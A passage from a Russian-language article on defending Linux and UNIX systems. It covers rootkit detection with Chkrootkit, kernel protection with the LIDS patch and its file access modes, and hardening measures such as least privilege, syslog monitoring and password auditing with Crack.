- наличие скрытых процессов (указывает на запуск какого-либо модуля ядра);

- признаки специальных троянских версий двоичных файлов;

- проверка журналов системы логирования;

- наличие конфигурационных файлов, используемых в наборах средств для взлома.

Несмотря на большое количество проверок, которые выполняет Chkrootkit, эта программа работает очень быстро. При подозрении в компрометации компьютеров следует запускать Chkrootkit дважды - первый раз до отключения системы и второй раз - после ее запуска в однопользовательском режиме.

Лучше же всего использовать средство, которое бы позволяло отключать и включать мандаты по своему усмотрению, например система обнаружения вторжений в ОС Linux LIDS. Это средство является одним из самых распространенных средств такого рода. Средства контроля целостности файлов помогут узнать об установке новых модулей ядра или модификации существующих. Ограничение прав доступа и применение команды chattr +I в отношении различных каталогов /lib/modules может замедлить атаку начинающего хакера.

Но единственной реальной защитой против таких сложных атак являются заплаты ядра наподобие LIDS, когда соответствующая конфигурация заплаты не позволяет даже суперпользователю устанавливать файлы в каталог /lib/modules или вообще загружать модули в ядро.

Вообще заплата LIDS (Linux Intrusion Detection System - система обнаружения и защиты от вторжений в операционную систему Linux, http://www.lids.org/) на самом деле представляет собой даже нечто большее, чем то что можно представить, исходя из ее названия. Что касается <<обнаружения вторжений>>, то LIDS использует систему оповещения об атаке и встроенный детектор сканирования портов, который работает на уровне ядра. Но наиболее полезной особенностью LIDS является усовершенствование модели защиты всей операционной системы Linux.

LIDS может быть установлена как заплата ядра и как средство администрирования. Среди предоставляемых ею возможностей можно выделить следующие.

- Усовершенствование защиты файлов. Защищенные с помощью LIDS файлы могут быть скрытыми или с установленной защитой от изменений даже со стороны суперпользователя.

- Защита процессов. Ядро может отклонить отправку сигналов (например, сигнала SIGKILL) защищенным процессам. Процессы также могут быть скрытыми - каталог /proc не предоставит никакой информации об этом процессе.

- Улучшенный контроль за правами доступа. Применяется более эффективное назначение мандатов для предоставления привилегий, включая запрещение изменения мандатов пользователю с правами системного администратора.

- Встроенный детектор сканирования портов. Детектор сканирования может быть встроен в ядро и позволяет обнаруживать большинство известных методов сканирования (например, скрытое, SYN - сканирование и т.д.), выполняемых программами nmap, SATAN и другими подобными сетевыми сканерами. Информация обо всех действиях, которые совершаются против всех защищенных LIDS объектов, записывается в системный журнал или отправляется по электронной почте.

Для установки LIDS необходимо загрузить последнюю официальную версию ядра Linux и исходный код заплаты LIDS. После этого установите заплату для исходного кода ядра, выполните его компиляцию, инсталлируйте утилиту администрирования и перезагрузите систему. После запуска LIDS разрешает выполнять изменения ядра только суперпользователю, который будет идентифицирован утилитой lidsam. Сведения обо всех изменениях, внесенных в ядро на постоянной основе, сохраняются в каталоге /etc/lids. С помощью LIDS можно устанавливать жесткие ограничения прав доступа к большинству файлов. Желательно защитить все двоичные файлы (/bin, /sbin, /usr/sbin и т.д. ), все файлы системы логирования (/var/log) и конфигурационные файлы (/etc). LIDS позволяет использовать четыре типа прав доступа к файлам.

- Deny (запретить). Файлы с этим атрибутом не доступны для любых пользователей или программ, кроме тех, кому предоставлены особые полномочия. Например, можно запретить доступ к файлу /etc/shadow всем пользователям и программам и выдать особое разрешение только для программы /bin/login с целью предоставления возможности аутентификации пользователей.

- Read-only (только для чтения). Файлы только для чтения не могут изменяться ни одним пользователем, включая суперпользователя.

- Append-only (только для добавления). Файлы с атрибутом для добавления позволяют лишь добавить информацию. Сохраненные данные не могут быть изменены. Как правило, этот атрибут устанавливается для файлов системы логирования, которые должны иметь возможность записывать новые данные, и в то же время необходимо запретить удаление хакером каких-либо строк, которые бы указали на выполненные им действия.

- Write (запись). Этот атрибут позволяет предоставить права записи файлов для определенных пользователей или программ.

К сожалению, LIDS не предусматривает возможность автоматических ответных действий, но с помощью программ мониторинга системы логирования или фильтров электронной почты можно организовать просмотр создаваемых LIDS отчетов и автоматического создания правил для программ ipchains/iptables.

LIDS представляет собой очень эффективное средство для повышения безопасности компьютера по сравнению со стандартными возможностями операционной системы. Она является, на наш взгляд, идеальным средством для защиты ядра от подобных атак. Кроме того, как мы видим, она обладает очень широким рядом функций по защите вашей системы. Но это средство не для боязливых администраторов. Мы советуем внимательно прочесть документацию и описание возможных настроек LIDS перед ее использованием на своем компьютере. Следует также учитывать, что на одном компьютере строго не рекомендуется установка нескольких заплат ядра.

Если ваше ядро подверглось атаке, вы не можете доверять работе своего компьютера. Злоумышленник, скорее всего оставил возможность вернуться в систему в роли суперпользователя. Тема восстановления системы после взлома была неоднократно освещена и выходит за рамки данной статьи. В любом случае необходимо постоянно иметь под рукой резервную побитовую копию системы. В случае компрометации ядра восстановление не займет в таком случае много времени. Только полная переустановка ОС и возврат ее в исходное состояние могут давать гарантии надежной работы компьютера.

4. Усиление безопасности UNIX

С самого своего рождения операционная система UNIX развивалась как система с открытой архитектурой, с интегрированными возможностями поддержки коммуникационных средств. Такие ее свойства порой доставляют сильную головную боль тем, кто хочет использовать UNIX в сетевых средах с чрезвычайно высокими требованиями к безопасности. Вы, наверное, слышали "страшные истории" о том, что некоторые разработчики диалектов UNIX поставляют свои продукты в изначально незащищенных конфигурациях с известными (или секретными) паролями для входа и активизированными анонимными службами.

Однако любая система UNIX может быть превращена во вполне защищенную. Это делается путем ужесточения требований к ее конфигурации, когда только реально требующиеся для работы сетевые компоненты оставляются активными. Начните с отключения всех сетевых служб. Затем постепенно включайте только абсолютно необходимые. Убедитесь, что для каждой службы запущен демон (daemon) самой последней версии (программа, выполняющая прослушивание сообщений этой службы), установите все последние пакеты обновлений, которые распространяет поставщик конкретного демона.

Укрепление сервера UNIX поднимает планку профессиональных знаний и количества усилий, которые злоумышленнику потребуется предпринять для взлома вашей сети. Это сильно охладит пыл любителей легких побед. Вместе тем анализ неудавшихся атак - тоже ценный материал, на котором можно многому научиться. Регистрировать как удачные, так и неудачные попытки взлома сервера позволяет большое число свободно распространяемых программ. Зафиксировав подозрительную сетевую активность, вы получаете шанс предотвратить вторжение в сеть со стороны потенциального взломщика. Что еще более важно - вы можете отследить (а иногда и идентифицировать) злоумышленника, который совершил атаку на сеть.

Придерживаясь следующих рекомендаций, вы значительно усилите безопасность наиболее часто используемых сетевых служб UNIX.

Первый шаг, который должен предпринять пользователь для защиты своих информационных ресурсов, состоит в применении подхода, который называют "методом наименьших привилегий". Суть его в том, что каждый пользователь получает лишь те права, которые ему безусловно необходимы для выполнения поставленной задачи. Простейший способ реализации этого метода - это создание бюджетов пользователей с минимальными правами и количеством вхождений в группы. Дополнительные права доступа к файлам и ресурсам пользователям следует предоставлять в соответствии со стандартной процедурой по формальному запросу, при этом они должны сообщить перечень решаемых задач, продолжительность работы над каждым проектом и имя его руководителя.

Не менее важным является введение практики подробного протоколирования и мониторинга событий. Большинство приобретаемых вами приложений UNIX способно фиксировать события с помощью системного процесса Syslog - главного средства протоколирования этой операционной системы. Содержимое журнальных файлов следует просматривать ежедневно (/var/adm/messages), при этом Syslog лучше сконфигурировать на перенаправление информации о высокоприоритетных событиях (типа crit, alert и emerg) на чей-либо пейджер. Кроме того, важные данные о неудачных попытках установления соединений содержит журнал работы утилиты TCP Wrappers.

Пароли - следующая область вашего внимания. Помимо использования надежных паролей (включения в них специальных символов, определения минимальной длины пароля и др.) рекомедуется регулярно проверять их устойчивость к взлому путем запуска программы Crack. Эта утилита позволяет отгадывать "слабые" пароли путем слепого перебора вариантов с помощью небольшого встроенного многоязыкового словаря. Для оценки надежности своих паролей программу следует испытать на собственном файле паролей /etc/passwd. Некоторые эксперты в области компьютерной безопасности могут не согласиться с такой методикой, но если эту операцию не проделаете вы, то это вполне может сделать кто-то другой. Тем пользователям, чей пароль был отгадан, предложите выбрать другой, более надежный.